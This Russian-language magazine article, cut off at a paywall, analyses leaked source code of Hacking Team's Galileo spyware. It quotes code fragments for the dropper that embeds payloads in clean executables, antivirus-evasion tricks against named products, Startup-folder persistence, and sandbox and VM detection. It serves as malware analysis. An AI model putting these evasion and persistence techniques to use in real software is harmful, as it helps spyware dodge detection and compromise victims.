Прошел почти год с момента взлома компании Hacking Team, специализирующейся на разработке шпионского программного обеспечения для спецслужб со всего мира. Самое интересное, что в Сеть утекли исходники их платформы Galileo, но до сих пор не появилось более-менее подробного их обзора или анализа. Сегодня мы постараемся исправить это упущение.

 

Galileo в телескопе

Не будем терять время на ненужные предисловия и сразу же перейдем к делу. Вся платформа разбита на Git-репозитории c различным назначением и под разные платформы: Windows, Linux, BlackBerry, Windows Mobile, iOS, macOS, Android, но мы будем рассматривать только код под Windows и Linux. Сами модули, содержащиеся в репозиториях, можно поделить на несколько типов:

  • модули, названия которых начинаются с приставки vector-, предназначены для проникновения и закрепления в системе;
  • модули с приставкой core- — собственно основное ядро платформы, отвечает за сбор и передачу «хозяину» необходимой информации.

Есть также несколько вспомогательных модулей, выносить их в отдельную категорию не будем, но обязательно рассмотрим.
В основном вся платформа, заточенная под Windows, разработана на C++ (небольшая часть на Python), Linux-код написан на C. Также есть код и на Ruby — на нем разработана серверная часть продукта, мы же будем рассматривать только клиентскую. Но давай уже перейдем к практической части («Меньше слов, покажите мне код» — Линус Торвальдс) и посмотрим, какие приемы использовали парни из Италии, чтобы не засветиться на радарах и доставить свое программное обеспечение до «клиентов».

Рис. 1. Схема связей модулей Galileo
Рис. 1. Схема связей модулей Galileo
 

Пытаемся проникнуть в систему и закрепиться

Начнем с модуля vector-dropper. В принципе, внутри него все реализации dropper’а под различные ОС, но нас будет интересовать только RCSDropper под Windows (платформа под Linux полностью реализована в отдельном Git-репозитории core-linux, все, что касается модулей под Linux, разберем чуть позже).

 

RCSWin32Dropper

Этот модуль обеспечивает первоначальный этап заражения атакуемого объекта: «размазывает» по файловой системе необходимые файлы, их расшифровывает, обеспечивает persistence и прочее. В коде присутствует очень много комментариев, название самих переменных, модулей, все сделано очень удобно, много help-информации при работе с CLI — в общем, видно, что ребята старались, делали продукт, удобный для заказчика. Все приведенные вставки кода — это Copy-Paste из исходного кода, все комментарии разработчиков тоже по возможности сохранены, для удобства некоторые переведены. Для облегчения сборки контейнера, который потом будет доставляться на целевую машину, разработчики сделали полноценный CLI в двух модификациях. Первый вариант сборки:

// SCOUT SCOUT SCOUT(разведчик)
if (!strcmp(argv[1], "-s"))
{
    if (argc != 5)
    {
        printf("usage: RCSWin32Dropper.exe -s <scout> <input> <output>\n");
        return 0;
    }
    printf("Cooking for scout\n");
    ...
}

В данном случае <input> — чистый файлик, который перемешивается с «необходимым» кодом, в нашем случае — <scout> (модуль «разведчик», определяет, находится ли семпл в песочнице, выявляет наличие антивирусных средств), код данного модуля рассмотрим ниже. Итак, за «микс» между чистым файлом и необходимой полезной нагрузкой отвечает код из MeltFile.cpp, а именно функция MeltFile, она и инициализирует процесс скрещивания двух файлов. Подробно на том, как она это делает, останавливаться не будем, но основная цель — подмена текущего, чистого EntryPoint на функцию DropperEntryPoint из DropperCode.cpp (собственно, уже в этом коде и выполняется вся магия по извлечению модулей, которая будет описана ниже).

Второй экземпляр поставки отличается только тем, что он «запихивает» в наш файл-контейнер все необходимые модули — ядро, драйвер, конфигурационный файл и остальные:

if (argc != 12)
{
    printf("ERROR: \n");
    printf("  usage:  RCSWin32Dropper.exe  <core> <core64> <conf> <driver> <driver64> <codec> <instdir> <manifest> <prefix> <demo_bitmap> <input> <output>\n\n");
    printf("  <core> is the backdoor core\n"); // Ядро
    printf("  <core64> is the 64 bit backdoor core\n"); // Ядро для 64-разрядных систем
    printf("  <conf> is the backdoor encrypted configuration\n"); // Конфигурация
    printf("  <driver> is the kernel driver\n"); // Драйвер
    printf("  <driver64> is the 64 bit kernel driver\n"); // Драйвер для 64-разрядных систем
    printf("  <codec> is the audio codec\n"); // Аудиокодек, наверно для записи голоса :)
    printf("  <instdir> is the backdoor install directory (on the target)\n"); // Директория для распаковки
    printf("  <manifest> is a boolean flag for modifying the manifest\n"); //
    printf("  <prefix> is the core exported function(s) name prefix\n"); //
    printf("  <input> is the exe to be melted\n"); // Файл, с которым будем смешивать
    printf("  <output> is the output file\n\n"); // Файл-контейнер
    return 0;
}
 

DropperEntryPoint

На данном этапе стоит более подробно раскрыть работу DropperEntryPoint — функции, которая будет распаковывать основные модули на целевую машину. С самого начала кода можно увидеть обход эмулятора Avast, причем простым циклом на уменьшение — наверное, просто тянут время, и таким образом AV прекращает проверку эмулятором после 250–300 операций. В принципе, данная техника не нова:

// bypass AVAST emulation (SuspBehav-B static detection)
for (int i = 0; i < 1000; i+=4)
    i -= 2;

После восстанавливаем стандартным способом Entry Point, через call pop, затем находим секцию внутри текущего модуля с пометкой <E> (чтобы обнаружить смещение в коде, откуда начинаются модули, которые будем распаковывать), причем ищем обычным перебором по байтам в виде ассемблерной вставки:

while(1)
{
    __asm
    {
        mov ecx, [dwCurrentAddr] // ecx = *dwCurrentAddr
        magicloop:
            sub ecx, 1
            mov edx, [ecx]
            mov ebx, edx
            and ebx, 0xffff0000
            and edx, 0x0000ffff
            cmp edx, 0x453c // E>
            jne magicloop // edx != ‘E>’
            nop
            cmp ebx, 0x003e0000 ‘<’
            jne magicloop
            mov [dwCurrentAddr], ecx
            jmp endmagicloop
    }
}

Ассемблерная вставка используется с целью обхода Dr.Web, по крайней мере так указано в комментариях: // *** Find the ending marker of data section <E> - ASM because of Dr.Web :).

Следующим этапом будет восстановление собственной таблицы импорта:

// Накидываем импортируемые функции в виде массивов
CHAR strVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 };

// Предварительно определим прототип импортируемых функций
typedef LPVOID (WINAPI *VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
// Получим адрес функции через обертку функций GetProcAddress, LoadLibrary
VIRTUALALLOC pfn_VirtualAlloc = (VIRTUALALLOC) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualAlloc);

// Обертка функции LoadLibrary
LOADLIBRARY pfn_LoadLibrary = resolveLoadLibrary();
// Обертка функции GetProcAddress
GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress();

Код у функций resolveLoadLibrary и resolveGetProcAddress почти идентичный. Суть такая, что через PEB производится поиск сначала экспорта kernel32, а затем двух ее самых важных для малварщика функций: GetProcAddress и LoadLibrary. Единственное, на что хочется обратить внимание, — это строка:

if ( ! _STRCMPI_(moduleName+1, strKernel32+1) ) // +1 to bypass f-secure signature

Как видно из комментария, для обхода f-secure сравнение имени модуля в списке PEB и строки с символами Kernel32.dll начинается со второго символа. После этого определяем, находится ли код под пристальным контролем Microsoft Essential или нет:

LPSTR fName = (LPSTR)pData->VirtualAlloc(NULL, MAX_PATH, MEM_COMMIT, PAGE_READWRITE);
pData->GetModuleFileNameA(NULL, fName, MAX_PATH);
char x86MspEng[26] = { 'M', 'i', 'c', 'r', 'o', 's', 'o', 'f', 't', ' ', 'S', 'e', 'c', 'u', 'r' ,'i', 't', 'y', ' ', 'C', 'l', 'i', 'e', 'n', 't', 0x0 };

for(DWORD i=0; i<prgLen; i++)
    if(!_STRCMP_(fName+i, x86MspEng))
        goto OEP_CALL;

Выделяем память на куче и кладем туда полный путь доступа к файлу, содержащему указанный модуль, которым владеет текущий процесс. В результате если это совпадает с Microsoft Security Client, то прекращаем выполнение и переходим на оригинальный код нашего контейнера. В противном случае поочередно извлекаем все, что есть в контейнере.

 

Распаковка

Так же как и вариантов упаковки, есть два варианта распаковки кода. В случае упаковки с модулем разведки все модули, находящиеся в контейнере, зашифрованы RC4 и упакованы APlib (библиотека для сжатия исполняемых файлов для Microsoft Windows). В случае с модулем scout файл извлекается в директорию %Autorun%, таким образом обеспечивая себе persistence.

// CSIDL_STARTUP - C:\Documents and Settings\username\Start Menu
pData->SHGetSpecialFolderPathW(NULL, strTempPath, CSIDL_STARTUP, FALSE);

Если модуля разведчика не было, то все файлы поочередно извлекаются в директорию Temp/Microsoft. Вот кусок кода, который отвечает за извлечение файлов:

if (header->files.core.offset != 0 && header->files.core.size != 0)
{
    PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.core.offset);
    PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.core.offset);

    DWORD size = header->files.core.size;
    DWORD originalSize = header->files.core.original_size;

    BOOL ret = pfn_DumpFile(fileName, (PCHAR)fileData, size, originalSize, pData);
    if (ret == FALSE)
        goto OEP_RESTORE;
}
 

Разведаем обстановку

Следующий модуль, который будем анализировать, — scout. В нем как раз происходит вся магия, позволяющая определить, запущены ли мы в песочнице, есть ли поблизости приложения, которые не подходят по «политическим» моментам, запущены ли мы в виртуализации и прочее. Начнем с функции AntiVM() в antivm.cpp:

BOOL AntiVM()
{
    AntiCuckoo(); //
    BOOL bVMWare = AntiVMWare();
    BOOL bVBox = AntiVBox();

    if (bVMWare || bVBox)
        return TRUE;

    return FALSE;
}

В ней как раз и стартует проверка наличия сред виртуализации и песочниц. Начнем с детекта Cuckoo Sandbox, как наиболее интересного из всех методик обхода. Метод основан на том, что при выполнении данного участка кода библиотека cuckoomon.dll упадет:

__asm
{
    mov eax, fs:[0x44] // save old value
    mov pOld, eax

    mov eax, pFake
    mov fs:[0x44], eax
}
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) Sleep, (LPVOID) 1000, 0, NULL);
__asm
{
    mov eax, pOld
    mov fs:[0x44], eax
}

Как обнаруживаются VMware и VirtualBox? Оба детекта почти идентичны: через язык запросов WMI запрашиваются значения некоторых параметров (ниже указаны инициализации строк, которые будут проводить WMI-запрос). Например, параметры BIOS, PnP, в случае с VirtualBox это:

WCHAR strQuery[] = {L'S', L'E', L'L', L'E', L'C', L'T', L' ', L'*', L' ', L'F', L'R', L'O', L'M', L' ', L'W', L'i', L'n', L'3', L'2', L'_', L'B', L'i', L'o', L's', L'\0' };
WCHAR strSerial[] = { L'S', L'e', L'r', L'i', L'a', L'l', L'N', L'u', L'm', L'b', L'e', L'r', L'\0' };

При проверке на наличие VMware:

WCHAR strQuery[] = { L'S', L'E', L'L', L'E', L'C', L'T', L' ', L'*', L' ', L'F', L'R', L'O', L'M', L' ', L'W', L'i', L'n', L'3', L'2', L'_', L'P', L'n', L'P', L'E', L'n', L't', L'i', L't', L'y', L'\0' };
WCHAR strDeviceId[] = { L'D', L'e', L'v', L'i', L'c', L'e', L'I', L'd', L'\0' };

После от полученных путем WMI-запросов значений вычисляют хеши SHA-1 и сравнивают с предопределенными константами:

#define IS_VMWARE   "\x72\x19\x78\xcf\x34\x89\x66\x34\xe1\x10\x2f\x21\xf1\x5c\x73\x96\x38\x9e\xa7\x69"
if (!memcmp(pSha1Buffer, IS_VMWARE, 20))

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


3 комментария

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

Espruino Pico. Учимся программировать USB-микроконтроллер на JavaScript и делаем из него токен авторизации

Несмотря на огромное количество устройств на базе микроконтроллеров, созданных на волне ус…